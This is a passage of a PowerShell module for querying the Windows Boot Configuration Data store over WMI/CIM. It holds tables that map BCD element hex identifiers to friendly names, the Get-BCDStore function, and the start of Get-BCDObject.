(\[UInt32\] 0x250000F3) = 'HypervisorDebugType'     (\[UInt32\] 0x250000F4) = 'HypervisorDebugPort'     (\[UInt32\] 0x250000F5) = 'HypervisorBaudrate'     (\[UInt32\] 0x250000F6) = 'HypervisorDebug1394Channel'     (\[UInt32\] 0x250000F7) = 'BootUxPolicy'     (\[UInt32\] 0x220000F9) = 'HypervisorDebugBusParams'     (\[UInt32\] 0x250000FA) = 'HypervisorNumProc'     (\[UInt32\] 0x250000FB) = 'HypervisorRootProcPerNode'     (\[UInt32\] 0x260000FC) = 'HypervisorUseLargeVTlb'     (\[UInt32\] 0x250000FD) = 'HypervisorDebugNetHostIp'     (\[UInt32\] 0x250000FE) = 'HypervisorDebugNetHostPort'     (\[UInt32\] 0x25000100) = 'TpmBootEntropyPolicy'     (\[UInt32\] 0x22000110) = 'HypervisorDebugNetKey'     (\[UInt32\] 0x26000114) = 'HypervisorDebugNetDhcp'     (\[UInt32\] 0x25000115) = 'HypervisorIommuPolicy'     (\[UInt32\] 0x2500012b) = 'XSaveDisable'     (\[UInt32\] 0x35000001) = 'RamdiskImageOffset'     (\[UInt32\] 0x35000002) = 'TftpClientPort'     (\[UInt32\] 0x31000003) = 'RamdiskSdiDevice'     (\[UInt32\] 0x32000004) = 'RamdiskSdiPath'     (\[UInt32\] 0x35000005) = 'RamdiskImageLength'     (\[UInt32\] 0x36000006) = 'RamdiskExportAsCd'     (\[UInt32\] 0x36000007) = 'RamdiskTftpBlockSize'     (\[UInt32\] 0x36000008) = 'RamdiskTftpWindowSize'     (\[UInt32\] 0x36000009) = 'RamdiskMulticastEnabled'     (\[UInt32\] 0x3600000A) = 'RamdiskMulticastTftpFallback'     (\[UInt32\] 0x3600000B) = 'RamdiskTftpVarWindow'     (\[UInt32\] 0x45000001) = 'DeviceType' # No actual friendly name defined     (\[UInt32\] 0x42000002) = 'ApplicationRelativePath' # No actual friendly name defined     (\[UInt32\] 0x42000003) = 'RamdiskDeviceRelativePath' # No actual friendly name defined     (\[UInt32\] 0x46000004) = 'OmitOsLoaderElements' # No actual friendly name defined     (\[UInt32\] 0x47000006) = 'ElementsToMigrate'     (\[UInt32\] 0x46000010) = 'RecoveryOs' # No actual friendly name defined } \# Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm \# These are also all available in bcdedit.exe public symbols $Script:ElementLibraryNameMapping = @{     (\[UInt32\] 0x11000001) = 'Device'     (\[UInt32\] 0x12000002) = 'Path'     (\[UInt32\] 0x12000004) = 'Description'     (\[UInt32\] 0x12000005) = 'Locale'     (\[UInt32\] 0x14000006) = 'Inherit'     (\[UInt32\] 0x15000007) = 'TruncateMemory'     (\[UInt32\] 0x14000008) = 'RecoverySequence'     (\[UInt32\] 0x16000009) = 'RecoveryEnabled'     (\[UInt32\] 0x1700000A) = 'BadMemoryList'     (\[UInt32\] 0x1600000B) = 'BadMemoryAccess'     (\[UInt32\] 0x1500000C) = 'FirstMegabytePolicy'     (\[UInt32\] 0x1500000D) = 'RelocatePhysical'     (\[UInt32\] 0x1500000E) = 'AvoidLowMemory'     (\[UInt32\] 0x1600000F) = 'TraditionalKseg'     (\[UInt32\] 0x16000010) = 'BootDebug'     (\[UInt32\] 0x15000011) = 'DebugType'     (\[UInt32\] 0x15000012) = 'DebugAddress'     (\[UInt32\] 0x15000013) = 'DebugPort'     (\[UInt32\] 0x15000014) = 'BaudRate'     (\[UInt32\] 0x15000015) = 'Channel'     (\[UInt32\] 0x12000016) = 'TargetName'     (\[UInt32\] 0x16000017) = 'NoUMEx'     (\[UInt32\] 0x15000018) = 'DebugStart'     (\[UInt32\] 0x12000019) = 'BusParams'     (\[UInt32\] 0x1500001A) = 'HostIP'     (\[UInt32\] 0x1500001B) = 'Port'     (\[UInt32\] 0x1600001C) = 'DHCP'     (\[UInt32\] 0x1200001D) = 'Key'     (\[UInt32\] 0x1600001E) = 'VM'     (\[UInt32\] 0x16000020) = 'BootEMS'     (\[UInt32\] 0x15000022) = 'EMSPort'     (\[UInt32\] 0x15000023) = 'EMSBaudRate'     (\[UInt32\] 0x12000030) = 'LoadOptions'     (\[UInt32\] 0x16000031) = 'AttemptNonBcdStart' # No actual friendly name defined     (\[UInt32\] 0x16000040) = 'AdvancedOptions'     (\[UInt32\] 0x16000041) = 'OptionsEdit'     (\[UInt32\] 0x15000042) = 'KeyringAddress'     (\[UInt32\] 0x11000043) = 'BootStatusDataLogDevice' # No actual friendly name defined     (\[UInt32\] 0x12000044) = 'BootStatusDataLogPath' # No actual friendly name defined     (\[UInt32\] 0x16000045) = 'PreserveBootStat'     (\[UInt32\] 0x16000046) = 'GraphicsModeDisabled'     (\[UInt32\] 0x15000047) = 'ConfigAccessPolicy'     (\[UInt32\] 0x16000048) = 'NoIntegrityChecks'     (\[UInt32\] 0x16000049) = 'TestSigning'     (\[UInt32\] 0x1200004A) = 'FontPath'     (\[UInt32\] 0x1500004B) = 'IntegrityServices' # BCDE\_LIBRARY\_TYPE\_SI\_POLICY     (\[UInt32\] 0x1500004C) = 'VolumeBandId'     (\[UInt32\] 0x16000050) = 'ExtendedInput'     (\[UInt32\] 0x15000051) = 'InitialConsoleInput'     (\[UInt32\] 0x15000052) = 'GraphicsResolution'     (\[UInt32\] 0x16000053) = 'RestartOnFailure'     (\[UInt32\] 0x16000054) = 'HighestMode'     (\[UInt32\] 0x16000060) = 'IsolatedContext'     (\[UInt32\] 0x15000065) = 'DisplayMessage'     (\[UInt32\] 0x15000066) = 'DisplayMessageOverride'     (\[UInt32\] 0x16000067) = 'NoBootUxLogo' # No actual friendly name defined     (\[UInt32\] 0x16000068) = 'NoBootUxText'     (\[UInt32\] 0x16000069) = 'NoBootUxProgress'     (\[UInt32\] 0x1600006A) = 'NoBootUxFade'     (\[UInt32\] 0x1600006B) = 'BootUxReservePoolDebug' # No actual friendly name defined     (\[UInt32\] 0x1600006C) = 'BootUxDisabled'     (\[UInt32\] 0x1500006D) = 'BootUxFadeFrames' # No actual friendly name defined     (\[UInt32\] 0x1600006E) = 'BootUxDumpStats' # No actual friendly name defined     (\[UInt32\] 0x1600006F) = 'BootUxShowStats' # No actual friendly name defined     (\[UInt32\] 0x16000071) = 'MultiBootSystem' # No actual friendly name defined     (\[UInt32\] 0x16000072) = 'NoKeyboard'     (\[UInt32\] 0x15000073) = 'AliasWindowsKey' # No actual friendly name defined     (\[UInt32\] 0x16000074) = 'BootShutdownDisabled'     (\[UInt32\] 0x15000075) = 'PerformanceFrequency' # No actual friendly name defined     (\[UInt32\] 0x15000076) = 'SecurebootRawPolicy'     (\[UInt32\] 0x17000077) = 'AllowedInMemorySettings'     (\[UInt32\] 0x15000079) = 'BootUxtTransitionTime'     (\[UInt32\] 0x1600007A) = 'MobileGraphics'     (\[UInt32\] 0x1600007B) = 'ForceFipsCrypto'     (\[UInt32\] 0x1500007D) = 'BootErrorUx'     (\[UInt32\] 0x1600007E) = 'FlightSigning'     (\[UInt32\] 0x1500007F) = 'MeasuredBootLogFormat' } $Script:ElementMemDiagNameMapping = @{     (\[UInt32\] 0x25000001) = 'PassCount'     (\[UInt32\] 0x25000003) = 'FailureCount' } $Script:ElementApplicationNameMapping = @{     (\[UInt32\] 0x26000202) = 'SkipFFUMode'     (\[UInt32\] 0x26000203) = 'ForceFFUMode'     (\[UInt32\] 0x25000510) = 'ChargeThreshold'     (\[UInt32\] 0x26000512) = 'OffModeCharging'     (\[UInt32\] 0x25000AAA) = 'Bootflow' } $Script:ElementBootMgrNameMapping = @{     (\[UInt32\] 0x24000001) = 'DisplayOrder'     (\[UInt32\] 0x24000002) = 'BootSequence'     (\[UInt32\] 0x23000003) = 'Default'     (\[UInt32\] 0x25000004) = 'Timeout'     (\[UInt32\] 0x26000005) = 'AttemptResume'     (\[UInt32\] 0x23000006) = 'ResumeObject'     (\[UInt32\] 0x24000010) = 'ToolsDisplayOrder'     (\[UInt32\] 0x26000020) = 'DisplayBootMenu'     (\[UInt32\] 0x26000021) = 'NoErrorDisplay'     (\[UInt32\] 0x21000022) = 'BcdDevice'     (\[UInt32\] 0x22000023) = 'BcdFilePath'     (\[UInt32\] 0x26000028) = 'ProcessCustomActionsFirst'     (\[UInt32\] 0x27000030) = 'CustomActionsList'     (\[UInt32\] 0x26000031) = 'PersistBootSequence'     (\[UInt32\] 0x21000001) = 'FileDevice'     (\[UInt32\] 0x22000002) = 'FilePath'     (\[UInt32\] 0x26000006) = 'DebugOptionEnabled'     (\[UInt32\] 0x25000008) = 'BootMenuPolicy' } $Script:ElementOSLoaderNameMapping = @{     (\[UInt32\] 0x21000001) = 'OSDevice'     (\[UInt32\] 0x22000002) = 'SystemRoot'     (\[UInt32\] 0x23000003) = 'ResumeObject'     (\[UInt32\] 0x26000010) = 'DetectKernelAndHal'     (\[UInt32\] 0x22000011) = 'KernelPath'     (\[UInt32\] 0x22000012) = 'HalPath'     (\[UInt32\] 0x22000013) = 'DbgTransportPath'     (\[UInt32\] 0x25000020) = 'NX'     (\[UInt32\] 0x25000021) = 'PAEPolicy'     (\[UInt32\] 0x26000022) = 'WinPE'     (\[UInt32\] 0x26000024) = 'DisableCrashAutoReboot'     (\[UInt32\] 0x26000025) = 'UseLastGoodSettings'     (\[UInt32\] 0x26000027) = 'AllowPrereleaseSignatures'     (\[UInt32\] 0x26000030) = 'NoLowMemory'     (\[UInt32\] 0x25000031) = 'RemoveMemory'     (\[UInt32\] 0x25000032) = 'IncreaseUserVa'     (\[UInt32\] 0x26000040) = 'UseVgaDriver'     (\[UInt32\] 0x26000041) = 'DisableBootDisplay'     (\[UInt32\] 0x26000042) = 'DisableVesaBios'     (\[UInt32\] 0x26000043) = 'DisableVgaMode'     (\[UInt32\] 0x25000050) = 'ClusterModeAddressing'     (\[UInt32\] 0x26000051) = 'UsePhysicalDestination'     (\[UInt32\] 0x25000052) = 'RestrictApicCluster'     (\[UInt32\] 0x26000054) = 'UseLegacyApicMode'     (\[UInt32\] 0x25000055) = 'X2ApicPolicy'     (\[UInt32\] 0x26000060) = 'UseBootProcessorOnly'     (\[UInt32\] 0x25000061) = 'NumberOfProcessors'     (\[UInt32\] 0x26000062) = 'ForceMaximumProcessors'     (\[UInt32\] 0x25000063) = 'ProcessorConfigurationFlags'     (\[UInt32\] 0x26000064) = 'MaximizeGroupsCreated'     (\[UInt32\] 0x26000065) = 'ForceGroupAwareness'     (\[UInt32\] 0x25000066) = 'GroupSize'     (\[UInt32\] 0x26000070) = 'UseFirmwarePciSettings'     (\[UInt32\] 0x25000071) = 'MsiPolicy'     (\[UInt32\] 0x25000080) = 'SafeBoot'     (\[UInt32\] 0x26000081) = 'SafeBootAlternateShell'     (\[UInt32\] 0x26000090) = 'BootLogInitialization'     (\[UInt32\] 0x26000091) = 'VerboseObjectLoadMode'     (\[UInt32\] 0x260000a0) = 'KernelDebuggerEnabled'     (\[UInt32\] 0x260000a1) = 'DebuggerHalBreakpoint'     (\[UInt32\] 0x260000A2) = 'UsePlatformClock'     (\[UInt32\] 0x260000A3) = 'ForceLegacyPlatform'     (\[UInt32\] 0x250000A6) = 'TscSyncPolicy'     (\[UInt32\] 0x260000b0) = 'EmsEnabled'     (\[UInt32\] 0x250000c1) = 'DriverLoadFailurePolicy'     (\[UInt32\] 0x250000C2) = 'BootMenuPolicy'     (\[UInt32\] 0x260000C3) = 'AdvancedOptionsOneTime'     (\[UInt32\] 0x250000E0) = 'BootStatusPolicy'     (\[UInt32\] 0x260000E1) = 'DisableElamDrivers'     (\[UInt32\] 0x250000F0) = 'HypervisorLaunchType'     (\[UInt32\] 0x260000F2) = 'HypervisorDebugEnabled'     (\[UInt32\] 0x250000F3) = 'HypervisorDebugType'     (\[UInt32\] 0x250000F4) = 'HypervisorDebugPort'     (\[UInt32\] 0x250000F5) = 'HypervisorBaudrate'     (\[UInt32\] 0x250000F6) = 'HypervisorDebug1394Channel'     (\[UInt32\] 0x250000F7) = 'BootUxPolicy'     (\[UInt32\] 0x220000F9) = 'HypervisorDebugBusParams'     (\[UInt32\] 0x250000FA) = 'HypervisorNumProc'     (\[UInt32\] 0x250000FB) = 'HypervisorRootProcPerNode'     (\[UInt32\] 0x260000FC) = 'HypervisorUseLargeVTlb'     (\[UInt32\] 0x250000FD) = 'HypervisorDebugNetHostIp'     (\[UInt32\] 0x250000FE) = 'HypervisorDebugNetHostPort'     (\[UInt32\] 0x25000100) = 'TpmBootEntropyPolicy'     (\[UInt32\] 0x22000110) = 'HypervisorDebugNetKey'     (\[UInt32\] 0x26000114) = 'HypervisorDebugNetDhcp'     (\[UInt32\] 0x25000115) = 'HypervisorIommuPolicy'     (\[UInt32\] 0x2500012b) = 'XSaveDisable' } \# http://msdn.microsoft.com/en-us/library/windows/desktop/aa362645(v=vs.85).aspx $Script:ElementDeviceNameMapping = @{     (\[UInt32\] 0x35000001) = 'RamdiskImageOffset'     (\[UInt32\] 0x35000002) = 'TftpClientPort'     (\[UInt32\] 0x31000003) = 'RamdiskSdiDevice'     (\[UInt32\] 0x32000004) = 'RamdiskSdiPath'     (\[UInt32\] 0x35000005) = 'RamdiskImageLength'     (\[UInt32\] 0x36000006) = 'RamdiskExportAsCd'     (\[UInt32\] 0x36000007) = 'RamdiskTftpBlockSize'     (\[UInt32\] 0x36000008) = 'RamdiskTftpWindowSize'     (\[UInt32\] 0x36000009) = 'RamdiskMulticastEnabled'     (\[UInt32\] 0x3600000A) = 'RamdiskMulticastTftpFallback'     (\[UInt32\] 0x3600000B) = 'RamdiskTftpVarWindow' } $Script:ElementTemplateNameMapping = @{     (\[UInt32\] 0x45000001) = 'DeviceType' # No actual friendly name defined     (\[UInt32\] 0x42000002) = 'ApplicationRelativePath' # No actual friendly name defined     (\[UInt32\] 0x42000003) = 'RamdiskDeviceRelativePath' # No actual friendly name defined     (\[UInt32\] 0x46000004) = 'OmitOsLoaderElements' # No actual friendly name defined     (\[UInt32\] 0x47000006) = 'ElementsToMigrate'     (\[UInt32\] 0x46000010) = 'RecoveryOs' # No actual friendly name defined } $Script:ElementNameToValueMapping = @{     'Device' = (\[UInt32\] 0x11000001)     'Path' = (\[UInt32\] 0x12000002)     'Description' = (\[UInt32\] 0x12000004)     'Locale' = (\[UInt32\] 0x12000005)     'Inherit' = (\[UInt32\] 0x14000006)     'TruncateMemory' = (\[UInt32\] 0x15000007)     'RecoverySequence' = (\[UInt32\] 0x14000008)     'RecoveryEnabled' = (\[UInt32\] 0x16000009)     'BadMemoryList' = (\[UInt32\] 0x1700000A)     'BadMemoryAccess' = (\[UInt32\] 0x1600000B)     'FirstMegabytePolicy' = (\[UInt32\] 0x1500000C)     'RelocatePhysical' = (\[UInt32\] 0x1500000D)     'AvoidLowMemory' = (\[UInt32\] 0x1500000E)     'TraditionalKseg' = (\[UInt32\] 0x1600000F)     'BootDebug' = (\[UInt32\] 0x16000010)     'DebugType' = (\[UInt32\] 0x15000011)     'DebugAddress' = (\[UInt32\] 0x15000012)     'DebugPort' = (\[UInt32\] 0x15000013)     'BaudRate' = (\[UInt32\] 0x15000014)     'Channel' = (\[UInt32\] 0x15000015)     'TargetName' = (\[UInt32\] 0x12000016)     'NoUMEx' = (\[UInt32\] 0x16000017)     'DebugStart' = (\[UInt32\] 0x15000018)     'BusParams' = (\[UInt32\] 0x12000019)     'HostIP' = (\[UInt32\] 0x1500001A)     'Port' = (\[UInt32\] 0x1500001B)     'DHCP' = (\[UInt32\] 0x1600001C)     'Key' = (\[UInt32\] 0x1200001D)     'VM' = (\[UInt32\] 0x1600001E)     'BootEMS' = (\[UInt32\] 0x16000020)     'EMSPort' = (\[UInt32\] 0x15000022)     'EMSBaudRate' = (\[UInt32\] 0x15000023)     'LoadOptions' = (\[UInt32\] 0x12000030)     'AttemptNonBcdStart' = (\[UInt32\] 0x16000031)     'AdvancedOptions' = (\[UInt32\] 0x16000040)     'OptionsEdit' = (\[UInt32\] 0x16000041)     'KeyringAddress' = (\[UInt32\] 0x15000042)     'BootStatusDataLogDevice' = (\[UInt32\] 0x11000043)     'BootStatusDataLogPath' = (\[UInt32\] 0x12000044)     'PreserveBootStat' = (\[UInt32\] 0x16000045)     'GraphicsModeDisabled' = (\[UInt32\] 0x16000046)     'ConfigAccessPolicy' = (\[UInt32\] 0x15000047)     'NoIntegrityChecks' = (\[UInt32\] 0x16000048)     'TestSigning' = (\[UInt32\] 0x16000049)     'FontPath' = (\[UInt32\] 0x1200004A)     'IntegrityServices' = (\[UInt32\] 0x1500004B)     'VolumeBandId' = (\[UInt32\] 0x1500004C)     'ExtendedInput' = (\[UInt32\] 0x16000050)     'InitialConsoleInput' = (\[UInt32\] 0x15000051)     'GraphicsResolution' = (\[UInt32\] 0x15000052)     'RestartOnFailure' = (\[UInt32\] 0x16000053)     'HighestMode' = (\[UInt32\] 0x16000054)     'IsolatedContext' = (\[UInt32\] 0x16000060)     'DisplayMessage' = (\[UInt32\] 0x15000065)     'DisplayMessageOverride' = (\[UInt32\] 0x15000066)     'NoBootUxLogo' = (\[UInt32\] 0x16000067)     'NoBootUxText' = (\[UInt32\] 0x16000068)     'NoBootUxProgress' = (\[UInt32\] 0x16000069)     'NoBootUxFade' = (\[UInt32\] 0x1600006A)     'BootUxReservePoolDebug' = (\[UInt32\] 0x1600006B)     'BootUxDisabled' = (\[UInt32\] 0x1600006C)     'BootUxFadeFrames' = (\[UInt32\] 0x1500006D)     'BootUxDumpStats' = (\[UInt32\] 0x1600006E)     'BootUxShowStats' = (\[UInt32\] 0x1600006F)     'MultiBootSystem' = (\[UInt32\] 0x16000071)     'NoKeyboard' = (\[UInt32\] 0x16000072)     'AliasWindowsKey' = (\[UInt32\] 0x15000073)     'BootShutdownDisabled' = (\[UInt32\] 0x16000074)     'PerformanceFrequency' = (\[UInt32\] 0x15000075)     'SecurebootRawPolicy' = (\[UInt32\] 0x15000076)     'AllowedInMemorySettings' = (\[UInt32\] 0x17000077)     'BootUxtTransitionTime' = (\[UInt32\] 0x15000079)     'MobileGraphics' = (\[UInt32\] 0x1600007A)     'ForceFipsCrypto' = (\[UInt32\] 0x1600007B)     'BootErrorUx' = (\[UInt32\] 0x1500007D)     'FlightSigning' = (\[UInt32\] 0x1600007E)     'MeasuredBootLogFormat' = (\[UInt32\] 0x1500007F)     'PassCount' = (\[UInt32\] 0x25000001)     'FailureCount' = (\[UInt32\] 0x25000003)     'SkipFFUMode' = (\[UInt32\] 0x26000202)     'ForceFFUMode' = (\[UInt32\] 0x26000203)     'ChargeThreshold' = (\[UInt32\] 0x25000510)     'OffModeCharging' = (\[UInt32\] 0x26000512)     'Bootflow' = (\[UInt32\] 0x25000AAA)     'DisplayOrder' = (\[UInt32\] 0x24000001)     'BootSequence' = (\[UInt32\] 0x24000002)     'Default' = (\[UInt32\] 0x23000003)     'Timeout' = (\[UInt32\] 0x25000004)     'AttemptResume' = (\[UInt32\] 0x26000005)     'ResumeObject' = (\[UInt32\] 0x23000006)     'ToolsDisplayOrder' = (\[UInt32\] 0x24000010)     'DisplayBootMenu' = (\[UInt32\] 0x26000020)     'NoErrorDisplay' = (\[UInt32\] 0x26000021)     'BcdDevice' = (\[UInt32\] 0x21000022)     'BcdFilePath' = (\[UInt32\] 0x22000023)     'ProcessCustomActionsFirst' = (\[UInt32\] 0x26000028)     'CustomActionsList' = (\[UInt32\] 0x27000030)     'PersistBootSequence' = (\[UInt32\] 0x26000031)     'FileDevice' = (\[UInt32\] 0x21000001)     'FilePath' = (\[UInt32\] 0x22000002)     'DebugOptionEnabled' = (\[UInt32\] 0x26000006)     'BootMenuPolicyWinResume' = (\[UInt32\] 0x25000008)     'OSDevice' = (\[UInt32\] 0x21000001)     'SystemRoot' = (\[UInt32\] 0x22000002)     'AssociatedResumeObject' = (\[UInt32\] 0x23000003)     'DetectKernelAndHal' = (\[UInt32\] 0x26000010)     'KernelPath' = (\[UInt32\] 0x22000011)     'HalPath' = (\[UInt32\] 0x22000012)     'DbgTransportPath' = (\[UInt32\] 0x22000013)     'NX' = (\[UInt32\] 0x25000020)     'PAEPolicy' = (\[UInt32\] 0x25000021)     'WinPE' = (\[UInt32\] 0x26000022)     'DisableCrashAutoReboot' = (\[UInt32\] 0x26000024)     'UseLastGoodSettings' = (\[UInt32\] 0x26000025)     'AllowPrereleaseSignatures' = (\[UInt32\] 0x26000027)     'NoLowMemory' = (\[UInt32\] 0x26000030)     'RemoveMemory' = (\[UInt32\] 0x25000031)     'IncreaseUserVa' = (\[UInt32\] 0x25000032)     'UseVgaDriver' = (\[UInt32\] 0x26000040)     'DisableBootDisplay' = (\[UInt32\] 0x26000041)     'DisableVesaBios' = (\[UInt32\] 0x26000042)     'DisableVgaMode' = (\[UInt32\] 0x26000043)     'ClusterModeAddressing' = (\[UInt32\] 0x25000050)     'UsePhysicalDestination' = (\[UInt32\] 0x26000051)     'RestrictApicCluster' = (\[UInt32\] 0x25000052)     'UseLegacyApicMode' = (\[UInt32\] 0x26000054)     'X2ApicPolicy' = (\[UInt32\] 0x25000055)     'UseBootProcessorOnly' = (\[UInt32\] 0x26000060)     'NumberOfProcessors' = (\[UInt32\] 0x25000061)     'ForceMaximumProcessors' = (\[UInt32\] 0x26000062)     'ProcessorConfigurationFlags' = (\[UInt32\] 0x25000063)     'MaximizeGroupsCreated' = (\[UInt32\] 0x26000064)     'ForceGroupAwareness' = (\[UInt32\] 0x26000065)     'GroupSize' = (\[UInt32\] 0x25000066)     'UseFirmwarePciSettings' = (\[UInt32\] 0x26000070)     'MsiPolicy' = (\[UInt32\] 0x25000071)     'SafeBoot' = (\[UInt32\] 0x25000080)     'SafeBootAlternateShell' = (\[UInt32\] 0x26000081)     'BootLogInitialization' = (\[UInt32\] 0x26000090)     'VerboseObjectLoadMode' = (\[UInt32\] 0x26000091)     'KernelDebuggerEnabled' = (\[UInt32\] 0x260000a0)     'DebuggerHalBreakpoint' = (\[UInt32\] 0x260000a1)     'UsePlatformClock' = (\[UInt32\] 0x260000A2)     'ForceLegacyPlatform' = (\[UInt32\] 0x260000A3)     'TscSyncPolicy' = (\[UInt32\] 0x250000A6)     'EmsEnabled' = (\[UInt32\] 0x260000b0)     'DriverLoadFailurePolicy' = (\[UInt32\] 0x250000c1)     'BootMenuPolicyWinload' = (\[UInt32\] 0x250000C2)     'AdvancedOptionsOneTime' = (\[UInt32\] 0x260000C3)     'BootStatusPolicy' = (\[UInt32\] 0x250000E0)     'DisableElamDrivers' = (\[UInt32\] 0x260000E1)     'HypervisorLaunchType' = (\[UInt32\] 0x250000F0)     'HypervisorDebugEnabled' = (\[UInt32\] 0x260000F2)     'HypervisorDebugType' = (\[UInt32\] 0x250000F3)     'HypervisorDebugPort' = (\[UInt32\] 0x250000F4)     'HypervisorBaudrate' = (\[UInt32\] 0x250000F5)     'HypervisorDebug1394Channel' = (\[UInt32\] 0x250000F6)     'BootUxPolicy' = (\[UInt32\] 0x250000F7)     'HypervisorDebugBusParams' = (\[UInt32\] 0x220000F9)     'HypervisorNumProc' = (\[UInt32\] 0x250000FA)     'HypervisorRootProcPerNode' = (\[UInt32\] 0x250000FB)     'HypervisorUseLargeVTlb' = (\[UInt32\] 0x260000FC)     'HypervisorDebugNetHostIp' = (\[UInt32\] 0x250000FD)     'HypervisorDebugNetHostPort' = (\[UInt32\] 0x250000FE)     'TpmBootEntropyPolicy' = (\[UInt32\] 0x25000100)     'HypervisorDebugNetKey' = (\[UInt32\] 0x22000110)     'HypervisorDebugNetDhcp' = (\[UInt32\] 0x26000114)     'HypervisorIommuPolicy' = (\[UInt32\] 0x25000115)     'XSaveDisable' = (\[UInt32\] 0x2500012b)     'RamdiskImageOffset' = (\[UInt32\] 0x35000001)     'TftpClientPort' = (\[UInt32\] 0x35000002)     'RamdiskSdiDevice' = (\[UInt32\] 0x31000003)     'RamdiskSdiPath' = (\[UInt32\] 0x32000004)     'RamdiskImageLength' = (\[UInt32\] 0x35000005)     'RamdiskExportAsCd' = (\[UInt32\] 0x36000006)     'RamdiskTftpBlockSize' = (\[UInt32\] 0x36000007)     'RamdiskTftpWindowSize' = (\[UInt32\] 0x36000008)     'RamdiskMulticastEnabled' = (\[UInt32\] 0x36000009)     'RamdiskMulticastTftpFallback' = (\[UInt32\] 0x3600000A)     'RamdiskTftpVarWindow' = (\[UInt32\] 0x3600000B)     'DeviceType' = (\[UInt32\] 0x45000001)     'ApplicationRelativePath' = (\[UInt32\] 0x42000002)     'RamdiskDeviceRelativePath' = (\[UInt32\] 0x42000003)     'OmitOsLoaderElements' = (\[UInt32\] 0x46000004)     'ElementsToMigrate' = (\[UInt32\] 0x47000006)     'RecoveryOs' = (\[UInt32\] 0x46000010) } \#endregion function Get-BCDStore { <# .SYNOPSIS Opens a BCD store. .DESCRIPTION Get-BCDStore opens the system BCD store or a backup BCD file. All functions in this module that implement a -BCDStore parameter require the output of this function. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause .PARAMETER FilePath Specifies the path to a BCD store backup file. The absense of this argument defaults to opening the system BCD store. .PARAMETER CimSession Specifies the CIM session to use for this function. Enter a variable that contains the CIM session or a command that creates or gets the CIM session, such as the New-CimSession or Get-CimSession cmdlets. For more information, see about\_CimSessions. .EXAMPLE $BCDStore = Get-BCDStore Opens the system BCD store. .EXAMPLE $BCDStore = Get-BCDStore -CimSession $CimSession Opens a remote system BCD store using an established CIM session. .EXAMPLE $BCDStore = Get-BCDStore -FilePath .\\exportedstore.bin Opens a BCD store for a specified file. .INPUTS Microsoft.Management.Infrastructure.CimSession Accepts one of more CIM session objects. .OUTPUTS Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore Outputs a BcdStore object that is required for all subsequent calls to BCD module functions. \#>     \[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore')\]     \[CmdletBinding()\]     param (         \[String\]         \[ValidateNotNullOrEmpty()\]         $FilePath,         \[Parameter(ValueFromPipeline = $True)\]         \[Alias('Session')\]         \[Microsoft.Management.Infrastructure.CimSession\[\]\]         $CimSession     )     BEGIN {         # If a CIM session is not provided, trick the function into thinking there is one.         if (-not $PSBoundParameters\['CimSession'\]) {             $CimSession = ''         }     }     PROCESS {         foreach ($Session in $CimSession) {             $CimMethodArgs = @{}             if ($Session.Id) { $CimMethodArgs\['CimSession'\] = $Session }             if ($FilePath) {                 $BCDPath = (Resolve-Path $FilePath).Path             } else {                 $BCDPath = ''             }             $OpenStoreArg = @{                 Namespace = 'ROOT/WMI'                 ClassName = 'BcdStore'                 MethodName = 'OpenStore'                 Arguments = @{ File = $BCDPath }             }             $OpenStoreResult = Invoke-CimMethod @OpenStoreArg @CimMethodArgs             if ($True -eq $OpenStoreResult.ReturnValue) {                 $OpenStoreResult.Store             } else {                 Write-Error 'Unable to open BCD store. Likely reason: You do not have the required permissions to open the BCD store.'             }         }     } } filter Get-BCDObject { <# .SYNOPSIS Retrieves defined BCD objects from a BCD store. .DESCRIPTION Get-BCDObject returns defined BCD objects from a previously opened BCD store. Upon retrieving one or more BCD objects, relevant BCD objects can be retrieved. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause .PARAMETER WellKnownId Specifies the well-known BCD object identifier to be retrieved. .PARAMETER Id Specifies the BCD object identifier to be retrieved. .PARAMETER Type Returns BCD objects based on the specified raw object value. For example, 0x101FFFFF refers to firmware entries, specifically. 0x10200003 would refer to OS loader entries. .PARAMETER BCDStore Specifies the BCDStore object returned from the Get-BCDStore function. .EXAMPLE Get-BCDObject -BCDStore $BCDStore \| Get-BCDElement Retrieves all defined BCD objects from the specified BCD store. This is equivalent to the following bcdedit command: bcdedit.exe /enum all .EXAMPLE Get-BCDObject -BCDStore $BCDStore -WellKnownId BootMgr \| Get-BCDElement Retrieves all defined boot loader BCD objects from the specified BCD store. This is equivalent to the following bcdedit command: bcdedit.exe /enum {bootmgr} .EXAMPLE Get-BCDObject -BCDStore $BCDStore -Type 0x101FFFFF \| Get-BCDElement Retrieves all defined firmware BCD objects from the specified BCD store. This is equivalent to the following bcdedit command: bcdedit.exe /enum firmware .EXAMPLE Get-BCDObject -BCDStore $BCDStore -Id b5b5d3df-3847-11e8-a5cf-c49ded12be66 \| Get-BCDElement Retrieves the BCD object for the corresponding GUID. This is equivalent to the following bcdedit command: bcdedit.exe /enum {b5b5d3df-3847-11e8-a5cf-c49ded12be66} .INPUTS Microsoft.Management.Infrastructure.CimSession Accepts one of more CIM session objects. .OUTPUTS Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdObject Outputs one or more BcdObject objects. \#>     \[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdObject')\]     \[CmdletBinding(DefaultParameterSetName = 'WellKnownId')\]     param (         \[Parameter(ParameterSetName = 'WellKnownId')\]         \[ValidateSet(             'Active',             'Inherit',             'Firmware',             'OSLoader',             'BootApp',             'Resume',             'EmsSettings',             'ResumeLoaderSettings',             'Default',             'KernelDbgSettings',             'DbgSettings',             'EventSettings',             'Legacy',             'NtLdr',             'BadMemory',             'BootloaderSettings',             'GlobalSettings',             'HypervisorSettings',             'BootMgr',             'FWBootMgr',             'RamDiskOptions',             'MemDiag',             'Current',             'SetupEFI',             'TargetTemplateEFI',             'SetupPCAT',             'TargetTemplatePCAT')\]         $WellKnownId,         \[Parameter(Mandatory, ParameterSetName = 'Id')\]         \[Guid\]         $Id,         \[Parameter(Mandatory, ParameterSetName = 'Type')\]         \[UInt32\]         $Type,         \[Parameter(Mandatory, ValueFromPipeline)\]         \[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore')\]         \[Microsoft.Management.Infrastructure.CimInstance\]         $BCDStore     )     # These object types will need to be mapped to a raw type value.     $FriendlyObjectTypes = @('Inherit', 'Firmware', 'OSLoader', 'BootApp', 